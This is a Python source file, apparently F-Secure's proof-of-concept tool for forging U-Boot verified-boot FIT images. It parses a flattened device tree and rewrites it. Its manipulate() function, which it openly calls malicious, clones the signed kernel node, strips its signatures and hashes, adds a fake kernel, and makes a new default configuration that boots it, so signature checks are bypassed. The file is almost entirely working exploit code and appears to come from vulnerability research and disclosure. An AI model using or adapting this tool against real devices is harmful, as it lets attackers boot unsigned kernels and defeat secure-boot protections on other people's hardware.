vboot_forge.py 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423
  1. #!/usr/bin/python3
  2. # SPDX-License-Identifier: GPL-2.0
  3. # Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
  4. #
  5. # pylint: disable=E1101,W0201,C0103
  6. """
  7. Verified boot image forgery tools and utilities
  8. This module provides services to both take apart and regenerate FIT images
  9. in a way that preserves all existing verified boot signatures, unless you
  10. manipulate nodes in the process.
  11. """
  12. import struct
  13. import binascii
  14. from io import BytesIO
  15. #
  16. # struct parsing helpers
  17. #
  18. class BetterStructMeta(type):
  19. """
  20. Preprocesses field definitions and creates a struct.Struct instance from them
  21. """
  22. def __new__(cls, clsname, superclasses, attributedict):
  23. if clsname != 'BetterStruct':
  24. fields = attributedict['__fields__']
  25. field_types = [_[0] for _ in fields]
  26. field_names = [_[1] for _ in fields if _[1] is not None]
  27. attributedict['__names__'] = field_names
  28. s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
  29. attributedict['__struct__'] = s
  30. attributedict['size'] = s.size
  31. return type.__new__(cls, clsname, superclasses, attributedict)
  32. class BetterStruct(metaclass=BetterStructMeta):
  33. """
  34. Base class for better structures
  35. """
  36. def __init__(self):
  37. for t, n in self.__fields__:
  38. if 's' in t:
  39. setattr(self, n, '')
  40. elif t in ('Q', 'I', 'H', 'B'):
  41. setattr(self, n, 0)
  42. @classmethod
  43. def unpack_from(cls, buffer, offset=0):
  44. """
  45. Unpack structure instance from a buffer
  46. """
  47. fields = cls.__struct__.unpack_from(buffer, offset)
  48. instance = cls()
  49. for n, v in zip(cls.__names__, fields):
  50. setattr(instance, n, v)
  51. return instance
  52. def pack(self):
  53. """
  54. Pack structure instance into bytes
  55. """
  56. return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
  57. def __str__(self):
  58. items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
  59. return '(' + ', '.join(items) + ')'
  60. #
  61. # some defs for flat DT data
  62. #
  63. class HeaderV17(BetterStruct):
  64. __endian__ = '>'
  65. __fields__ = [
  66. ('I', 'magic'),
  67. ('I', 'totalsize'),
  68. ('I', 'off_dt_struct'),
  69. ('I', 'off_dt_strings'),
  70. ('I', 'off_mem_rsvmap'),
  71. ('I', 'version'),
  72. ('I', 'last_comp_version'),
  73. ('I', 'boot_cpuid_phys'),
  74. ('I', 'size_dt_strings'),
  75. ('I', 'size_dt_struct'),
  76. ]
  77. class RRHeader(BetterStruct):
  78. __endian__ = '>'
  79. __fields__ = [
  80. ('Q', 'address'),
  81. ('Q', 'size'),
  82. ]
  83. class PropHeader(BetterStruct):
  84. __endian__ = '>'
  85. __fields__ = [
  86. ('I', 'value_size'),
  87. ('I', 'name_offset'),
  88. ]
  89. # magical constants for DTB format
  90. OF_DT_HEADER = 0xd00dfeed
  91. OF_DT_BEGIN_NODE = 1
  92. OF_DT_END_NODE = 2
  93. OF_DT_PROP = 3
  94. OF_DT_END = 9
  95. class StringsBlock:
  96. """
  97. Represents a parsed device tree string block
  98. """
  99. def __init__(self, values=None):
  100. if values is None:
  101. self.values = []
  102. else:
  103. self.values = values
  104. def __getitem__(self, at):
  105. if isinstance(at, str):
  106. offset = 0
  107. for value in self.values:
  108. if value == at:
  109. break
  110. offset += len(value) + 1
  111. else:
  112. self.values.append(at)
  113. return offset
  114. if isinstance(at, int):
  115. offset = 0
  116. for value in self.values:
  117. if offset == at:
  118. return value
  119. offset += len(value) + 1
  120. raise IndexError('no string found corresponding to the given offset')
  121. raise TypeError('only strings and integers are accepted')
  122. class Prop:
  123. """
  124. Represents a parsed device tree property
  125. """
  126. def __init__(self, name=None, value=None):
  127. self.name = name
  128. self.value = value
  129. def clone(self):
  130. return Prop(self.name, self.value)
  131. def __repr__(self):
  132. return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
  133. class Node:
  134. """
  135. Represents a parsed device tree node
  136. """
  137. def __init__(self, name=None):
  138. self.name = name
  139. self.props = []
  140. self.children = []
  141. def clone(self):
  142. o = Node(self.name)
  143. o.props = [x.clone() for x in self.props]
  144. o.children = [x.clone() for x in self.children]
  145. return o
  146. def __getitem__(self, index):
  147. return self.children[index]
  148. def __repr__(self):
  149. return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
  150. #
  151. # flat DT to memory
  152. #
  153. def parse_strings(strings):
  154. """
  155. Converts the bytes into a StringsBlock instance so it is convenient to work with
  156. """
  157. strings = strings.split(b'\x00')
  158. return StringsBlock(strings)
  159. def parse_struct(stream):
  160. """
  161. Parses DTB structure(s) into a Node or Prop instance
  162. """
  163. tag = bytearray(stream.read(4))[3]
  164. if tag == OF_DT_BEGIN_NODE:
  165. name = b''
  166. while b'\x00' not in name:
  167. name += stream.read(4)
  168. name = name.rstrip(b'\x00')
  169. node = Node(name)
  170. item = parse_struct(stream)
  171. while item is not None:
  172. if isinstance(item, Node):
  173. node.children.append(item)
  174. elif isinstance(item, Prop):
  175. node.props.append(item)
  176. item = parse_struct(stream)
  177. return node
  178. if tag == OF_DT_PROP:
  179. h = PropHeader.unpack_from(stream.read(PropHeader.size))
  180. length = (h.value_size + 3) & (~3)
  181. value = stream.read(length)[:h.value_size]
  182. prop = Prop(h.name_offset, value)
  183. return prop
  184. if tag in (OF_DT_END_NODE, OF_DT_END):
  185. return None
  186. raise ValueError('unexpected tag value')
  187. def read_fdt(fp):
  188. """
  189. Reads and parses the flattened device tree (or derivatives like FIT)
  190. """
  191. header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
  192. if header.magic != OF_DT_HEADER:
  193. raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
  194. # TODO: read/parse reserved regions
  195. fp.seek(header.off_dt_struct)
  196. structs = fp.read(header.size_dt_struct)
  197. fp.seek(header.off_dt_strings)
  198. strings = fp.read(header.size_dt_strings)
  199. strblock = parse_strings(strings)
  200. root = parse_struct(BytesIO(structs))
  201. return root, strblock
  202. #
  203. # memory to flat DT
  204. #
  205. def compose_structs_r(item):
  206. """
  207. Recursive part of composing Nodes and Props into a bytearray
  208. """
  209. t = bytearray()
  210. if isinstance(item, Node):
  211. t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
  212. if isinstance(item.name, str):
  213. item.name = bytes(item.name, 'utf-8')
  214. name = item.name + b'\x00'
  215. if len(name) & 3:
  216. name += b'\x00' * (4 - (len(name) & 3))
  217. t.extend(name)
  218. for p in item.props:
  219. t.extend(compose_structs_r(p))
  220. for c in item.children:
  221. t.extend(compose_structs_r(c))
  222. t.extend(struct.pack('>I', OF_DT_END_NODE))
  223. elif isinstance(item, Prop):
  224. t.extend(struct.pack('>I', OF_DT_PROP))
  225. value = item.value
  226. h = PropHeader()
  227. h.name_offset = item.name
  228. if value:
  229. h.value_size = len(value)
  230. t.extend(h.pack())
  231. if len(value) & 3:
  232. value += b'\x00' * (4 - (len(value) & 3))
  233. t.extend(value)
  234. else:
  235. h.value_size = 0
  236. t.extend(h.pack())
  237. return t
  238. def compose_structs(root):
  239. """
  240. Composes the parsed Nodes into a flat bytearray instance
  241. """
  242. t = compose_structs_r(root)
  243. t.extend(struct.pack('>I', OF_DT_END))
  244. return t
  245. def compose_strings(strblock):
  246. """
  247. Composes the StringsBlock instance back into a bytearray instance
  248. """
  249. b = bytearray()
  250. for s in strblock.values:
  251. b.extend(s)
  252. b.append(0)
  253. return bytes(b)
  254. def write_fdt(root, strblock, fp):
  255. """
  256. Writes out a complete flattened device tree (or FIT)
  257. """
  258. header = HeaderV17()
  259. header.magic = OF_DT_HEADER
  260. header.version = 17
  261. header.last_comp_version = 16
  262. fp.write(header.pack())
  263. header.off_mem_rsvmap = fp.tell()
  264. fp.write(RRHeader().pack())
  265. structs = compose_structs(root)
  266. header.off_dt_struct = fp.tell()
  267. header.size_dt_struct = len(structs)
  268. fp.write(structs)
  269. strings = compose_strings(strblock)
  270. header.off_dt_strings = fp.tell()
  271. header.size_dt_strings = len(strings)
  272. fp.write(strings)
  273. header.totalsize = fp.tell()
  274. fp.seek(0)
  275. fp.write(header.pack())
  276. #
  277. # pretty printing / converting to DT source
  278. #
  279. def as_bytes(value):
  280. return ' '.join(["%02X" % x for x in value])
  281. def prety_print_value(value):
  282. """
  283. Formats a property value as appropriate depending on the guessed data type
  284. """
  285. if not value:
  286. return '""'
  287. if value[-1] == b'\x00':
  288. printable = True
  289. for x in value[:-1]:
  290. x = ord(x)
  291. if x != 0 and (x < 0x20 or x > 0x7F):
  292. printable = False
  293. break
  294. if printable:
  295. value = value[:-1]
  296. return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
  297. if len(value) > 0x80:
  298. return '[' + as_bytes(value[:0x80]) + ' ... ]'
  299. return '[' + as_bytes(value) + ']'
  300. def pretty_print_r(node, strblock, indent=0):
  301. """
  302. Prints out a single node, recursing further for each of its children
  303. """
  304. spaces = ' ' * indent
  305. print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
  306. for p in node.props:
  307. print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
  308. for c in node.children:
  309. pretty_print_r(c, strblock, indent+1)
  310. print((spaces + '};'))
  311. def pretty_print(node, strblock):
  312. """
  313. Generates an almost-DTS formatted printout of the parsed device tree
  314. """
  315. print('/dts-v1/;')
  316. pretty_print_r(node, strblock, 0)
  317. #
  318. # manipulating the DT structure
  319. #
  320. def manipulate(root, strblock):
  321. """
  322. Maliciously manipulates the structure to create a crafted FIT file
  323. """
  324. # locate /images/kernel-1 (frankly, it just expects it to be the first one)
  325. kernel_node = root[0][0]
  326. # clone it to save time filling all the properties
  327. fake_kernel = kernel_node.clone()
  328. # rename the node
  329. fake_kernel.name = b'kernel-2'
  330. # get rid of signatures/hashes
  331. fake_kernel.children = []
  332. # NOTE: this simply replaces the first prop... either description or data
  333. # should be good for testing purposes
  334. fake_kernel.props[0].value = b'Super 1337 kernel\x00'
  335. # insert the new kernel node under /images
  336. root[0].children.append(fake_kernel)
  337. # modify the default configuration
  338. root[1].props[0].value = b'conf-2\x00'
  339. # clone the first (only?) configuration
  340. fake_conf = root[1][0].clone()
  341. # rename and change kernel and fdt properties to select the crafted kernel
  342. fake_conf.name = b'conf-2'
  343. fake_conf.props[0].value = b'kernel-2\x00'
  344. fake_conf.props[1].value = b'fdt-1\x00'
  345. # insert the new configuration under /configurations
  346. root[1].children.append(fake_conf)
  347. return root, strblock
  348. def main(argv):
  349. with open(argv[1], 'rb') as fp:
  350. root, strblock = read_fdt(fp)
  351. print("Before:")
  352. pretty_print(root, strblock)
  353. root, strblock = manipulate(root, strblock)
  354. print("After:")
  355. pretty_print(root, strblock)
  356. with open('blah', 'w+b') as fp:
  357. write_fdt(root, strblock, fp)
  358. if __name__ == '__main__':
  359. import sys
  360. main(sys.argv)
  361. # EOF